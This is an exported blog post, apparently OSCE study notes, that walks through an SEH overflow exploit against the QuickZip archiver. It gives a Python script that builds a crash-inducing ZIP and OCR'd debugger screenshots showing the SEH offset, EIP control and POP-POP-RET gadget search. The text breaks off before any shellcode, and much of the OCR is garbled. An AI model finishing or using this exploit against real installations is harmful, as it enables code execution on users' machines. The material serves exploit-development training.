{"id":19,"date":"2021-02-10T09:54:34","date_gmt":"2021-02-10T09:54:34","guid":{"rendered":"https:\/\/areyou1or0.it\/?p=19"},"modified":"2021-02-10T09:55:05","modified_gmt":"2021-02-10T09:55:05","slug":"19","status":"publish","type":"post","link":"https:\/\/areyou1or0.it\/index.php\/2021\/02\/10\/19\/","title":{"rendered":"SEH + Egghunter QuickZip Exploit"},"content":{"rendered":"\n<h2><strong>Initial Script<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>#!\/usr\/bin\/python<br>header_1 = (&#8220;\\x50\\x4B\\x03\\x04\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00&#8243;&#8221;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe4\\x0f\\x00\\x00\\x00&#8221;)<br>header_2 = (&#8220;\\x50\\x4B\\x01\\x02\\x14\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00&#8243;&#8221;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe4\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00&#8243;&#8221;\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;)<br>header_3 = (&#8220;\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00&#8243;&#8221;\\x12\\x10\\x00\\x00\\x02\\x10\\x00\\x00\\x00\\x00&#8221;)<br>payload = &#8220;A&#8221; * 4064payload += &#8220;.txt&#8221;<br>exploit = header_1 + payload + header_2 + payload + header_3<br>myfile = open(&#8216;kalisa.zip&#8217;,&#8217;w&#8217;);myfile.write(exploit);myfile.close()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2>Crash<\/h2>\n\n\n\n<p>Open the zip file, attach immunity, try to extract (where the crash happens)<br><\/p>\n\n\n\n<h2>Offset<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/rdCLudaJnrD29qfs1A1wzd-gXvH8kguKpGAGohX7PyqWluoYlPgMPZ1gUi2s8BFzIWwYaqCaC7FYAlWiU71Sv4q8Rt0MZhmjlk5uatFMLqZshL9iIsWGtyhTdZ2h89Go_3Gz22fl\" alt=\"?C812FD3 \n?C812FD4 \n?C812FD5 \n?C812FD8 \n?C812FDQ \n?C812FE\u00d8 \n?C812FE3 \n?C812FE6 \n?C812FE9 \n?C812FEC \n?C812FEF \n?C812FF1 \n?C812FF4 \n?C812FF? \n?C812FFB \n?C812FFE \n713813004 \n71381300? \n?C813\u00d8\u00d8B \n?C813\u00d8\u00d8D \n713813013 \n713813014 \nsr\u00f8 en t \nQddress \n00705000 \n00705010 \n00705020 \n00705030 \n00705040 \n00705050 \n00705060 \n00705070 \n00705080 \n00705090 \n\u00d8\u00d8?\u00d85\u00d8B\u00d8 \n\u00d8\u00d8?\u00d85\u00d8D\u00d8 \n\u00d8\u00d8?\u00d85\u00d8E\u00d8 \n\u00d8\u00d8?\u00d85\u00d8F\u00d8 \n00705100 \n00705110 \n00705120 \n00 \n00705130 \n00705140 \n00705150 \n00705160 \n00705170 \n00705180 \n00705190 \n00705190 \n\u00d8\u00d8?\u00d851B\u00d8 \n\u00d8\u00d8?\u00d851D\u00d8 \n\u00d8\u00d8?\u00d851E\u00d8 \n00 e \n\u00d8\u00d8?\u00d851F\u00d8 \n00705200 \n00705210 \nC2 1000 \n85FF \n\u00d8F8E 5E8EFFFF \n8B55 FC \n8955 oc \nOFB?16 \n8B?D F8 \n891439 \n8811 \n8B?8 OC \nOFB6D2 \n66 :8B145? \n66 :3B16 \n\u00d8F85 78870300 \n8B5\u00d8 08 \n66:8B5Q 04 \n3819 \n\u00d8F84 76870300 \n46 \n46 \nHex dump \nPOP \nLEQUE \nRETN \nI\u00d8 \nEDI *EDI \nJLE \n132 . ?C8\u00d8BE3E \nMOU PIR SS: [EBP-4] \nMOU PIR SS: \nMOUZ* ED*WORD PIR DS: [ESI] \nEDI PIR SS: [EBP-8] \nDL. BYTE PIR DS: \nMOU \nBYTE PIR DS: \nEDI DWORD PIR DS: \nMOUZ* DL \nD*.WORD PIR DS: [EDI \nD*.WORD PIR DS: [ESI] \nJNZ \n132 . \nED*.DWORD PIR DS: \nB*.WORD PIR DS: \nCHP \nBYTE PIR DS: \nJE \n132 . \nRegisters (FPU) \nEC* \nESP \nEBP \nES 1 \nEDI \nEIP \n\u00d8\u00d812F6F\u00d8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n\u00d8\u00d85\u00d8BQ14 \n\u00d8\u00d8EC535\u00d8 \n\u00d8\u00d812F6EC \n\u00d8\u00d812F?4\u00d8 \n00420914 \n?C812FD3 \nc \nP \nz \ns \nr \no \nES \ncs \nss \nDS \nFS \nGS \n0023 \n\u00d8\u00d8IB \n0023 \n0023 \n003 B \n0 \nQuickZip.\u00d8\u00d85\u00d8BQ14 \nQuickZip.\u00d8\u00d842\u00d8Q14 \n132 . ?C812FD3 \n32bit \n\u00d8<FFFFFFFF) \n32bit \n\u00d8<FFFFFFFF) \n32bit \n\u00d8<FFFFFFFF) \n32bit \n\u00d8<FFFFFFFF) \n32bit \nNULL \nERROR_SUCCESS (\u00d8\u00d8\u00d8\u00d8\u00d8\u00d8\u00d8\u00d8) \nEFL \nLast Em\u2022 \n00200202 \nD\u00d8 \n50 \nDD \n04 \n52 \n20 \n30 \n30 \n04 \n54 \n28 \n68 \n88 \nI\u00d8 \n38 \n24 \n98 \n49 \n86 \nCB \nDE \n34 \n75 \n20 \n31 \n31 \n94 \n94 \nI\u00d8 \n94 \n23 \n94 \n94 \n94 \n96 \n94 \n95 \n41 \n41 \n40 \nEB \ncc \nDF \n76 \n24 \n49 \n61 \n32 \n32 \n40 \nEB \n40 \n20 \n40 \n15 \n40 \nID \n40 \n19 \n40 \nEC \n40 \n40 \nEB \nkerne132 . ?C812FD3 from ntd11.Rt IRaiseException \nQuickZip.\u00d8\u00d85\u00d8BQ14 QuickZip.\u00d8\u00d84\u00d8512C \nE\u00d8 \n43 \n40 \n74 \n74 \n33 \n33 \n01 \n01 \n01 \n01 \n64 \n48 \nEl \n01 \n03 \n66 \n69 \n20 \n34 \n34 \nE\u00d8 \nI\u00d8 \n60 \nI\u00d8 \n40 \n80 \nB\u00d8 \n13 \n98 \n30 \n35 \n35 \n03 \n33 \n66 \n41 \n40 \n40 \nCF \n61 \n40 \n65 \n30 \n36 \n36 \nI\u00d8 \nEB \n18 \nIF \n20 \n15 \n28 \n30 \n19 \n38 \nEC \n40 \n48 \nE4 \n20 \n30 \n01 \n01 \n01 \n01 \n34 \n02 \n01 \nB\u00d8 \nCD \n02 \n04 \n45 \n65 \n30 \n38 \n38 \nE\u00d8 \nE\u00d8 \nI\u00d8 \nI\u00d8 \n60 \n60 \nD\u00d8 \nI\u00d8 \n40 \n40 \n80 \n80 \nB\u00d8 \nB\u00d8 \nuse \nBF \nCE \n72 \n72 \n30 \n39 \n39 \n03 \n03 \n33 \n33 \n66 \n66 \nFE \n41 \n40 \n40 \nDB \n40 \n49 \n72 \n72 \n30 \n41 \n40 \n41 \nEB \nEB \nIF \nIF \n15 \n15 \nED \n19 \nEC \nEC \n14 \n43 \n30 \n42 \n42 \n01 \n01 \n01 \n01 \n01 \n01 \n01 \n02 \nB\u00d8 \n94 \n03 \n03 \n66 \n72 \n72 \n30 \n43 \n43 \nI\u00d8 \n30 \n88 \n30 \n40 \n30 \n30 \n30 \n30 \n60 \n30 \n68 \n30 \n50 \n20 \n44 \n44 \n76 \n\u00d8B \n02 \n\u00d8B \n\u00d8B \n05 \n\u00d8B \n3D \n\u00d8B \n76 \n\u00d8B \nBI \n\u00d8B \n\u00d8E \n\u00d8B \n40 \n41 \n40 \n40 \n40 \n20 \n45 \n40 \n45 \nEB \n30 \n20 \n30 \n15 \n30 \nID \n30 \n19 \n30 \nEC \n30 \n30 \nEB \n30 \nto \nie..1e.@ie. opp. \n00. \nPN\u00f6 . \nDC \nra\u00df11.Eoie.\u2022... \n85 . \nW4uc. \n. $@'Nan$+I nF . \nCO \nnF . Em\u2022or. i \n20 \nRunt ine errol\u2022\u2022 \nat 00000000. i L \n46 \n01234567899BCDEF \n46 \n01234567899BCDEF \n73 \n. . ctL\u00f6 \n01 \nT\u00f6e.. \n73 \n01 \nh\u00f6e.. \n73 \n01 \n73 \n01 \n73 \nk\u00f6e.. \n73 \n8m.e300.e300.\u00f8e\u00f8s \npJ R.GfR.$fR.\u00d8\u00f6\u00d8s \n73 \nYL\u00f6.VR.VR.\u00d8\u00f6\u00d8s \n73 \n\u00d8\u00d812F6EC \n\u00d8\u00d812F6F\u00d8 \n\u00d8\u00d812F6F4 \n\u00d8\u00d812F6F8 \n\u00d8\u00d812F6FC \n\u00d8\u00d812F?\u00d8\u00d8 \n\u00d8\u00d812F?\u00d84 \n\u00d8\u00d812F?\u00d88 \n\u00d8\u00d812F?\u00d8C \n\u00d8\u00d812F?1\u00d8 \n\u00d8\u00d812F?14 \n\u00d8\u00d812F?18 \n\u00d8\u00d812F?1C \n\u00d8\u00d812F?2\u00d8 \n\u00d8\u00d812F?24 \n\u00d8\u00d812F?28 \n\u00d8\u00d812F?2C \n\u00d8\u00d812F?3\u00d8 \n\u00d8\u00d812F?34 \n\u00d8\u00d812F?38 \n\u00d8\u00d812F?3C \n\u00d8\u00d812F?4\u00d8 \n\u00d8\u00d812F?44 \n\u00d8\u00d812F?48 \n\u00d8\u00d812F?4C \n\u00d8\u00d812F?5\u00d8 \n\u00d8\u00d812F?54 \n\u00d8\u00d812F?58 \n\u00d8\u00d812F?5C \n\u00d8\u00d812F?6\u00d8 \n\u00d8\u00d812F?64 \n\u00d8\u00d812F?68 \n\u00d8\u00d812F%C \nFFFFFFF8 0 \nI-\u00f8n \n\u00d8EEDFQDE \n00000001 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 . . \n?C812FD3 \nqlllP. to \n\u00d8\u00d85\u00d8BQ14 \nOllFF\u00d888 \n\u00d8\u00d8EC535\u00d8 \nPS 00. \nFFFFFFF8 0 \n00420914 \n\u00d8\u00d812F9F4 \n\u00d8\u00d8\u00d8\u00d82?8B \n00000001 \nOllFF\u00d888 \n\u00d8\u00d812F?68 \n\u00d8\u00d85\u00d84E3\u00d8 \n\u00d8\u00d812F?8C \n\u00d8\u00d84\u00d84CQD \n\u00d8\u00d812F?68 \n\u00d8\u00d812F9F4 \n\u00d8\u00d85\u00d8BQ14 \n\u00d8EEDFQDE \n00000001 \n\u00d8\u00d812F?58 \n\u00d8\u00d85\u00d8BQ14 \nOllFF\u00d888 \n\u00d8\u00d8EC535\u00d8 \nFFFFFFF8 0 \n00420914 \n\u00d8\u00d812F9F4 \n\u00d8\u00d8\u00d8\u00d8\u00d8FE5 \nm. B. QuickZip.\u00d8\u00d842\u00d8Q14 \ni' \nONP . \nil,e. \nRETURN to QuickZip.\u00d8\u00d85\u00d84E3\u00d8 QuickZip.\u00d8\u00d84\u00d84CDC \nQuickZip.\u00d8\u00d84\u00d84CQD \nRETURN to QuickZip.\u00d8\u00d85\u00d8BQ14 QuickZip.\u00d8\u00d84\u00d8512C \nI-\u00f8n \nqlllP. to QuickZip.\u00d8\u00d85\u00d8BQ14 QuickZip.\u00d8\u00d84\u00d8512C \nPS 00. \nm. B. QuickZip.\u00d8\u00d842\u00d8Q14 \nt\u00e6t. \nException \n\u00d8EEDFQDE - \nShift+F?\/F8\/F9 \npass except ion \nto program \nPaused\"\/><\/figure>\n\n\n\n<h2>SEH Chain<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/VZlxpd0SYVYiVn3hzvDsk7KjzUPbR46HbzYxgOW-ELGH1SKQVzkir-rTvTzP2GrHUzTWYSvHjBeXiIaaQrJlo0EzhZ0EuKpZiBvoOTnpRw-XtswTikPdZ5deBDJWBiYzc4hK46QF\" alt=\"Address \n0012F?8C \n0012F?98 \n0012F?R4 \n0012FR04 \n0012FR20 \n0012FB18 \n0012FB?O \n0012FDF4 \n0012FEOO \n0012FEB8 \n0012FF18 \n0012FF80 \n0012FF8C \n0012FFB4 \n0012FFEO \nSE hand 1er \nQuickZ1p . \n\u2022 00512184 \nQuickZ1p . \n\u2022 9051229E \nQuickZ1p . \n\u2022 0051232F \nQuickZ1p . \n\u2022 00517082 \nQuickZ1p . \n\u2022 00519010 \nQuickZ1p . \n\u2022 00549407 \nQuickZ1p . \n\u2022 006FC64D \nQuickZ1p . \n\u2022 0046?94? \nQuickZ1p . \n\u2022 00467958 \nuser32 . ?E44048F \nuser32 . ?E44048F \nQuickZ1p . \n\u2022 0048?D5D \nQuickZ1p . \n\u2022 0048?D96 \nQuickZ1p . \n\u2022 00405290 \nkerne 132 . \n?C839R90\"\/><\/figure>\n\n\n\n<p>After Shift + F9<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/NVAgdoH6Mr10vSP6thxfxkFP6qhFwyeixO3faSWToXZLeOAW0mgaqbDApAqCJUai7ThzMdNp3mw0MvtBV4FCh6-mSGZPhd9Djj8ViZDlNIIx2aK73Dz3cWHiNO9MzeDBRiSjHb57\" alt=\"004\u00d8D565 \n004\u00d8D56? \n. 89D9 \n004\u00d8D569 \n. 83E1 \n004\u00d8D56C \n004\u00d8D56E \n004\u00d8D56F \n. 89D\u00d8 \n004\u00d8D5?1 \n004\u00d8D5?2 \n004\u00d8D5?3 \n004\u00d8D5?4 \n004\u00d8D5?5 \n8D4\u00d8 \n$ 53 \n004\u00d8D5?8 \n004\u00d8D5?9 \n. 56 \n004\u00d8D5?Q \n. 8BDQ \n004\u00d8D5?C \n. 8BF\u00d8 \n004\u00d8D5?E \n. 8BC3 \n004\u00d8D58\u00d8 \n004\u00d8D585 \n004\u00d8D586 \n004\u00d8D588 \n004\u00d8D58D \n004\u00d8D58F \n004\u00d8D591 \n004\u00d8D592 \n004\u00d8D59? \n004\u00d8D598 \n004\u00d8D599 \n004\u00d8D59Q \n$ 53 \n004\u00d8D59C \nAddress \n00705000 \n00705010 \n00705020 \n00705030 \n00705040 \n00705050 \n00705060 \n00705070 \n00705080 \n00705090 \nOO?\u00d85\u00d8B\u00d8 \nOO?\u00d85\u00d8D\u00d8 \nOO?\u00d85\u00d8E\u00d8 \nOO?\u00d85\u00d8F\u00d8 \n00705100 \n00705110 \n00705120 \n00705130 \n00705140 \n00705150 \n00705160 \n00705170 \n00705180 \n00705190 \n03 \nREP \nMOU \nAND \nREP \nMOUS \nDWORD PIR ES: [EDI ]DWORD PIR \nRegisters (MM* ) \nEC*3 \nMOUS \nBYTE \nsros \nBYTE PIR \nPOP \nPOP \nPOP \nREIN \nLEA \nPUSH \nPUSH \nCALL \nQuickZ1p . \nPUSH \nCALL \nQuickZ1p . \nPOP \nCALL \nQuickZ1p . \nPOP \nPOP \nREIN \nMOU \nPIR ES: PIR DS:I \nES : [EDI \nPIR \nProgress \nESP \nEBP \nESI \nEDI \nEIP \n0012FQQC \nOO\u00d8\u00d8I\u00d8\u00d8E \n0012F9?4 \n0012FBF4 \n0114C82C \n00130000 \n004\u00d8D565 \nC \nP \nz \ns \n1 \n1 \nES \ncs \nDS \n0023 \n001B \n0023 \n0023 \n003B \n. E8 F?84FFFF \n. 50 \n. 8BC3 \n. E8 EF86FFFF \n. 8BD\u00d8 \n. 8BC6 \n. 59 \n. E8 QDFFFFFF \n8BC\u00d8 \nHex dump \n&quot;Qctx \nQuickZip.\u00d8\u00d84\u00d8D565 \n32bit O<FFFFFFFF) \n32bit O<FFFFFFFF) \n32bit O<FFFFFFFF) \n32bit O<FFFFFFFF) \n32bit \nINS *PE. GE*G) \n:cll \n:cll \n(OO\u00d8\u00d8\u00d8\u00d8CE) \n\u2022 004\u00d8D544 \nDO \n50 \n04 \n52 \n20 \n30 \n30 \n04 \n54 \n28 \n68 \n88 \n49 \n86 \nCB \nDE \n34 \n75 \n20 \n31 \n31 \n94 \nco \n94 \n10 \n94 \n23 \n94 \n41 \n41 \n40 \ncc \n76 \n24 \n49 \n61 \n32 \n32 \n40 \n40 \n20 \n40 \n15 \n40 \nID \n43 \n40 \n74 \n74 \n33 \n33 \n01 \n01 \n01 \n64 \n48 \nEl \n01 \n03 \n66 \n69 \n20 \n34 \n34 \n10 \n60 \n13 \n98 \n30 \n35 \n35 \n03 \nPUSH \n41 \n8B \n40 \n40 \n61 \n40 \n65 \n30 \n36 \n36 \n10 \n18 \nIF \n20 \n15 \n28 \nco \n20 \n30 \n01 \n01 \n01 \n34 \n02 \n01 \nCD \n02 \n04 \n45 \n65 \n30 \n38 \n38 \n10 \n10 \n60 \n60 \nBF \n9B \nCE \n2B \n72 \n72 \n30 \n39 \n39 \n03 \n03 \n41 \n8B \n40 \n40 \nDB \n40 \n49 \n72 \n72 \n30 \n41 \n40 \n41 \nIF \nIF \n15 \n15 \n14 \nco \n43 \n30 \n42 \n42 \n01 \n01 \n01 \n01 \n01 \n01 \n02 \n94 \n03 \n03 \n66 \n72 \n72 \n30 \n43 \n43 \n50 \n30 \n90 \n30 \n30 \n40 \n30 \n20 \n44 \n44 \n74 \n06 \n40 \n40 \n8B \n20 \n8B \n45 \n40 \n45 \n30 \nIF \n30 \n15 \n30 \n30 \nPN\u00f6 . \nDC \nh\u00df11.Eoie.\u2022... \n00 \n85 . \nW4uc. \n. $@'Nan$+I nf . \nCO \n\u2022\u20141 nf . Error. i \n20 \nRunt ine error \nat 00000000. i L \nco \n46 \n01234567899BCDEF \n46 \n01234567899BCDEF \n00 \n73 \n. . ctL\u00f6 . mos \n01 \nTije.. \n73 \n01 \nh\u00f6e.. \n73 \n01 \n73 \nuse Shift+F?\/F8\/F9 \n0012F988 \n0012F98C \n0012F99\u00d8 \n0012F994 \n0012F998 \n0012F99C \n0012F9Q\u00d8 \n0012F9Q4 \n0012F9Q8 \n0012F9QC \n0012F9B\u00d8 \n0012F9B4 \n0012F9B8 \n0012F9BC \n0012F9C\u00d8 \n0012F9C4 \n0012F9C8 \n0012F9CC \n0012F9D\u00d8 \n0012F9D4 \n0012F9D8 \n0012F9DC \n0012F9E\u00d8 \nOOE3443\u00d8 \nODII. \n0054373B \n0012FBFC \n00543?DE \n0012FBF4 \nOllFD4D\u00d8 \nOllFF5Q\u00d8 \nOllFF\u00d89\u00d8 \nOllFF168 \n0012FQ2C \n0012FQ54 \n?C9\u00d8E92\u00d8 \nOO\u00d8\u00d8QD?I \nOOEB?428 \n00411DB2 \n00000400 . . \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 . . \nOOEC52B5 \n00000001 \nOOEB?428 \n00000001 \n0012FQ?4 \nto QuickZip.\u00d8\u00d84\u00d8D59? QuickZip.\u00d8\u00d84\u00d8D544 \nLickZip.\u00d8\u00d85F3C3C \nRETURN to QuickZip.\u00d8\u00d8543?3B QuickZip.\u00d8\u00d84\u00d8D5?8 \nPointer to next SEH record \nSE handler \n&quot; . txt&quot; \n&quot; . TXT&quot; \n&quot; . txt&quot; \n&quot; . TXT&quot; \nntd11.?C9\u00d8E92\u00d8 \n&quot;Top&quot; \nRETURN to QuickZip.\u00d8\u00d8411DB2 \n&quot;Top&quot; \nAccess \nu io lat ion when \nwriting to \nto \npass except ion to \nprogram \nCompareStringQ&gt; \nPaused\"\/><\/figure>\n\n\n\n<p>Seh chain again<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/gWrQR7SGqMGkB1t-Y2_iuX6o7B8a8kWAJNIiC8FNlghxiV0tZcA_vu0ZF-FKtV4khuXgIpLd17ei_8D7ucJHB1qPUhhs4rcqTnZnX4j_L18WtzJXZWz0pORggJ9fX1G3cxNF439I\" alt=\"Address SE handler \n0012F99\u00d8 QuickZip.\u00d8\u00d8543?DE \n0012FBFC 6B41396Q \n41386941 CORRUPT ENTRY\"\/><\/figure>\n\n\n\n<p>Offset<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/wf8W5dlGB9n5H86BLL8EJJdTMJNiunKfwxcFx_hefstIbskkGK0mLFwH-cel-CungqnfbWqkBauYj1dh3vlMClQcaFDM8FrPifHk4Q8x-u3zwHmW6NK1DZeIH-Y2sykBgt74Ttdr\" alt=\"Address \n12 F99 \n0012FBFC \n413 8 6 Q 41 \nS E han d le \nQuickZip . 543 ? DE \n6 B41396 Q \nCORRUPT ENTRY \nroot@kalisa: \nroot.\u00dfkalisa \n# locate pattern \u53e3 t \n\/usr\/hin\/msf\u2014pattern \u53e3 t \n\/usr\/share\/metasploit\u2014frarnework\/tools\/exploit\/pattern \u53e3 t . \nroot.\u00dfkalisa \n# \/usr\/share\/metasploit\u2014frarnework\/tools\/exploit\/pattern \u53e3 t . rh \n\u3014 \u3015 Exact match at \u53e3 t \nroot.\u00dfkalisa \n\u2014g 6b41396a\"\/><\/figure>\n\n\n\n<h2>EIP Control<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/s0PhNehC4Gj-BjC409gUpLfQSD0e2bux7FctZ8nYY2uxz0WFuiOsnEQYO1JNxNkp_v0iCq0WmT3GbzUHXinuI99S2_KP4RPoJeSvPkLvnNcdlDj0mSxgMfzUpcasoMxkuFqFODcX\" alt=\"Registers (FPO) \nESP \nEBP \nESI \nEDI \nEIP \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n42424242 \n?C9\u00d832BC \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012F5Q4 \n0012F5C4 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n42424242 \nc \nP \nZ \ns \nr \n1 \n1 \nES \ncs \nDS \nGS \n0023 \n001B \n0023 \n0023 \n003B \nntdll. \n32bit \n32bit \n32bit \n32bit \n32bit \nNULL \n?C9\u00d832BC \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF) \nroot@kalisa: lhome\/kalisa\/OSCE\/vuln-apps\/quickzip \nxocl \nheader 1 \u2014 \nxocl \nxocl \nheader 2 \nxocl \nxocl \nxocl \nheader 3 \nxocl \nAddress \nHex dump \n00705000 \n00705010 \n00705020 \n00705030 \n00705040 \n00705050 \n00705060 \n00705070 \n00705080 \n00705090 \nOO?\u00d85\u00d8B\u00d8 \nOO?\u00d85\u00d8D\u00d8 \nOO?\u00d85\u00d8E\u00d8 \nOO?\u00d85\u00d8F\u00d8 \n00705100 \n00705110 \n00705120 \n00 \n00705130 \n00705140 \n00705150 \n00705160 \n00705170 \n00705180 \n00705190 \nDO \n50 \n04 \n52 \n20 \n30 \n30 \n04 \n54 \n28 \n68 \n88 \n49 \n86 \nCB \nDE \n34 \n75 \n20 \n31 \n31 \n94 \nco \n94 \n10 \n94 \n23 \n94 \n41 \n41 \n40 \ncc \n76 \n24 \n49 \n61 \n32 \n32 \n40 \n40 \n20 \n40 \n15 \n40 \nID \n43 \n40 \n74 \n74 \n33 \n33 \n01 \n01 \n01 \n64 \n48 \nEl \n01 \n03 \n66 \n69 \n20 \n34 \n34 \n10 \n60 \n13 \n98 \n30 \n35 \n35 \n03 \n41 \n8B \n40 \n40 \n61 \n40 \n65 \n30 \n36 \n36 \n10 \n18 \nIF \n20 \n15 \n28 \nco \n20 \n30 \n01 \n01 \n01 \n34 \n02 \n01 \nCD \n02 \n04 \n45 \n65 \n30 \n38 \n38 \n10 \n10 \n60 \n60 \nBF \n9B \nCE \n2B \n72 \n72 \n30 \n39 \n39 \n03 \n03 \n41 \n8B \n40 \n40 \nDB \n40 \n49 \n72 \n72 \n30 \n41 \n40 \n41 \nIF \nIF \n15 \n15 \n14 \nco \n43 \n30 \n42 \n42 \n01 \n01 \n01 \n01 \n01 \n01 \n02 \n94 \n03 \n03 \n66 \n72 \n72 \n30 \n43 \n43 \n80 \n30 \n68 \n30 \n30 \n40 \n30 \n50 \n20 \n44 \n44 \n74 \n40 \n41 \n40 \n40 \n40 \n8B \n20 \n8B \n45 \n40 \n45 \n30 \nIF \n30 \n15 \n30 \n30 \n00 . i@..i \nPN\u00f6 .Hy \nDC \n00 \n85 . \n00 \n20 \nco \n46 \n46 \n73 \n01 \n73 \n01 \n73 \n01 \nW4uc.u \n\u2022\u20141 nfi \nRunt in \nat 0 \n012345 \n012345 \nTije.. \nh\u00f6e.. \nnseh = \nseh = \njunk = \npayload = \noffset \npayload \n&quot; . txt&quot; \nexploit \nheader \nmyfile = \nmyfile.close \n&quot;crash. \n+ nseh + seh + junk \n1 + payload + header \n2 \n+ payload + header \n3 \nkalisa. zip' \nIT.,JI \nmyfile. write (exploit) \n26L, \n16, g \nAll \n73 \n0012F6\u00d88 \n0012F6\u00d8C \n0012F61\u00d8 \n0012F68C \n0114C82C \n00020024 \nAccess \nu io lat ion when \nexecuting [42424242] - \nuse Shift+F?\/F8\/F9 \nto \npass except ion to program \nPaused\"\/><\/figure>\n\n\n\n<h2>POP-POP-RET<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/Nj0cCWG-prkNijflECaJzSU_qVrL-Q63-rh-b7uaTdky5W4OErK4RS-Fusl8Wx8UNKcRyqoKlyEZIlZS4ciDCkHKaAbpdlSRO-BZEitMjF9PAsGRBJ7AKWUoP-NSVMiIVDHTveOI\" alt=\"OBQDF\u00d8\u00d8D \n00407933 \n004\u00d8EQ4C \n004\u00d8EBB\u00d8 \n0041082C \n0041C?43 \n0041C?84 \n0041DQ6C \n004218F\u00d8 \n00422?EF \n00422833 \n00425631 \n0042CC6Q \n0042F5CE \n0042F5F9 \n0043\u00d8BEC \n0043\u00d8CF1 \n00435133 \n004355F8 \n0043?DEE \n0043?E18 \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \n!mona seh \n[+] Results . \nOx\u00d8\u00d84\u00d8?a33 : \nOx\u00d8\u00d84\u00d8ea4c . \nOx\u00d8\u00d84\u00d8ebb\u00d8 : \nox0041082c \u2022 \nox0041c?43 \u2022 \nox0041c?84 : \nOx\u00d8\u00d841da6c : \nOx\u00d8\u00d84218f\u00d8 : \nOx\u00d8\u00d8422?ef : \nOx\u00d8\u00d842cc6a : \nOx\u00d8\u00d842f5ce : \nOx\u00d8\u00d842f5f9 : \nOx\u00d8\u00d843\u00d8bec : \nOx\u00d8\u00d843\u00d8cf1 : \nOx\u00d8\u00d84355f8 : \nOx\u00d8\u00d843?dee : \nOx\u00d8\u00d843?e18 : \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \necx \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \npop \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \ne bp \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nW \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nret \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nox04 \u2022 \nstartnull* \nstartnull \nstartnull \nstartnull* \nstartnull \nstartnull \nstartnull \nstartnull \nstartnull \nstartnull* \nstartnull \nstartnull \nstartnull \nstartnull \nstartnull \nstartnull \nstartnull \nstartnull* \nasciiprint.ascii [QuickZip.exe] QSLR: False. Rebase: False. SafeSEH: \n[QuickZip.exe] QSLR: \n[QuickZip.exe] QSLR: \nascii [QuickZip.exe] \n[QuickZip.exe] QSLR: \n[QuickZip.exe] QSLR: \n[QuickZip.exe] QSLR: \n[QuickZip.exe] QSLR: \n[QuickZip.exe] QSLR: \nFalse. \nFalse. \nQSLR: \nFalse. \nFalse. \nFalse. \nFalse. \nFalse. \nRebase: False. \nRebase: False. \nFalse. Rebase: \nRebase: False. \nRebase: False. \nRebase: False. \nRebase: False. \nRebase: False. \nSafeSEH: False. \nSafeSEH: False. \nFalse. SafeSEH: \nSafeSEH: False. \nSafeSEH: False. \nSafeSEH: False. \nSafeSEH: False. \nSafeSEH: False. \nOS: False. \nOS: False. \nFalse. OS: \nOS: False. \nOS: False. \nOS: False. \nOS: False. \nOS: False. \nasciiprint.ascii [QuickZip.exe] QSLR: False. Rebase: False. SafeSEH: \nFalse. \nFalse. \nFalse. \nstartnull* asc i iprint asc i alphanum\u00bb uppernum \nstartnull* asc i iprint asc i alphanum\u00bb uppernum \n[QuickZip.exe] QSLR: False. \nQSLR: False. Rebase: False. SafeSEH: False. 